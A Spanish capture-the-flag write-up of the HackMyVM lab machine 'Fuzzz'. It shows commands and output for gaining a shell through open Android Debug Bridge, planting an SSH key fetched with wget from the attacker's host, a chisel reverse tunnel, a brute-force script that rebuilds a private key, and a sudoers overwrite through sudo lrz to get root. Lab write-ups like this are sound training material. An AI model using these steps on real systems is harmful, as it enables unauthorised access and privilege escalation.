cd ~/blog

~/writeups/hmv/132-fuzzz.md

132 - Fuzzz

easy Linux hmv 19-07-2025
Android Debug Bridge (ADB) accessChar-by-char brute force of split SSH keysudo lrz arbitrary file write (sudoers)
hackmyvm.eu/machines/machine.php?vm=Fuzzz

~1 min de lectura


Enumeramos puertos (sistema Android con ADB):

 nmap -sCV -p 22,5555 -oN 02-targeted.txt 192.168.1.14
...
22/tcp   open  ssh     OpenSSH 9.9 (protocol 2.0)
5555/tcp open  adb     Android Debug Bridge (token auth required)
Service Info: OS: Android; ...

Nos conectamos al ADB y obtenemos una shell (que expira), así que plantamos un authorized_keys para entrar por SSH como runner:

 adb connect 192.168.1.14
 adb shell
/ $

~/.ssh $ wget http://192.168.1.5:8000/authorized_keys

 ssh runner@192.168.1.14 -i id_rsa
fuzzz:~$

Hay un puerto 80 local; hacemos remote forwarding con chisel:

 ./chisel server -p 5000 --reverse
fuzzz:~$ ./chisel client 192.168.1.5:5000 R:8001:127.0.0.1:80

Enumerando vemos endpoints /line, /line1.../line5, cada uno con un fragmento de una clave SSH en base64 que se construye carácter a carácter (cada prefijo válido devuelve 200). Hacemos fuerza bruta con un script que reconstruye cada fragmento:

❯ cat brute_2.py
import requests, string
from concurrent.futures import ThreadPoolExecutor, as_completed
from pwn import log

def brute_force_dir(base_url, max_workers=50):
    charset = ''.join(c for c in string.printable if c not in '#?.')
    for i in range(1, 6):
        path = ""
        line_url = f"{base_url}{i}/"
        ...
        while True:
            ... # prueba cada carácter, si da 200 lo añade al path
        bar.success(f"Found path: {line_url}{path}")

if __name__ == "__main__":
    brute_force_dir("http://127.0.0.1:8001/line")
 python brute_2.py
[+] [line1] ... b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[+] [line2] ... QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u
[+] [line3] ... XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
[+] [line4] ... AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J
[+] [line5] ... 5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ=

Juntando los fragmentos en base64 reconstruimos la id_rsa de asahi y entramos:

 ssh asahi@192.168.1.14 -i id_rsa_asahi
fuzzz:~$

Obtenemos la primera flag. Revisamos sudo -l:

fuzzz:~$ sudo -l
...
User asahi may run the following commands on fuzzz:
    (ALL) NOPASSWD: /usr/local/bin/lrz

lrz (recepción de archivos ZMODEM) ejecutado en /etc nos permite escribir un archivo sudoers que nos da todos los permisos:

fuzzz:~$ cd /etc
fuzzz:/etc$ sudo /usr/local/bin/lrz --tcp-server
connect with lrz --tcp-client "fuzzz.hmv:33291"

 cat sudoers
asahi ALL=(ALL:ALL) NOPASSWD: ALL

 lrzsz-sz --tcp-client 192.168.1.14:33291 --append sudoers

fuzzz:/etc$ sudo su
/etc # whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados